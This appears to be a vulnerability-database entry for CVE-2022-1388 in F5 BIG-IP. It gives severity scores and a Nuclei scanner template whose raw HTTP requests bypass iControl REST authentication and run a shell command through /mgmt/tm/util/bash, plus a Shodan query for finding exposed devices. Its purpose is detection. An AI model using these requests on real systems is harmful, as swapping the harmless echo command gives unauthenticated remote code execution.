9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%
F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
id: CVE-2022-1388
info:
name: F5 BIG-IP iControl - REST Auth Bypass RCE
author: dwisiswant0,Ph33r
severity: critical
description: |
F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.
remediation: |
Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
reference:
- https://twitter.com/GossiTheDog/status/1523566937414193153
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
- https://support.f5.com/csp/article/K23605346
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
- https://www.secpod.com/blog/critical-f5-big-ip-remote-code-execution-vulnerability-patch-now/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1388
cwe-id: CWE-306
epss-score: 0.97477
epss-percentile: 0.99964
cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: f5
product: big-ip_access_policy_manager
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
tags: cve,cve2022,f5,bigip,rce,mirai,kev
variables:
auth: "admin:"
cmd: "echo CVE-2022-1388 | rev"
http:
- raw:
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c '{{cmd}}'"
}
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c '{{cmd}}'"
}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "commandResult"
- "8831-2202-EVC"
condition: and
# digest: 4b0a00483046022100d97ef9b4f3d359a83d892ce6a3d915db764b3fcca6706bb11309bfa447f7cc48022100ded9e7b33da8f9cfc3f8a5ecaf6d8c822112cfa41ae02a3c16eec6124898a1a2:922c64590222798bb761d5b6d8e72950
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
support.f5.com/csp/article/K23605346
twitter.com/GossiTheDog/status/1523566937414193153
www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
www.secpod.com/blog/critical-f5-big-ip-remote-code-execution-vulnerability-patch-now/
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%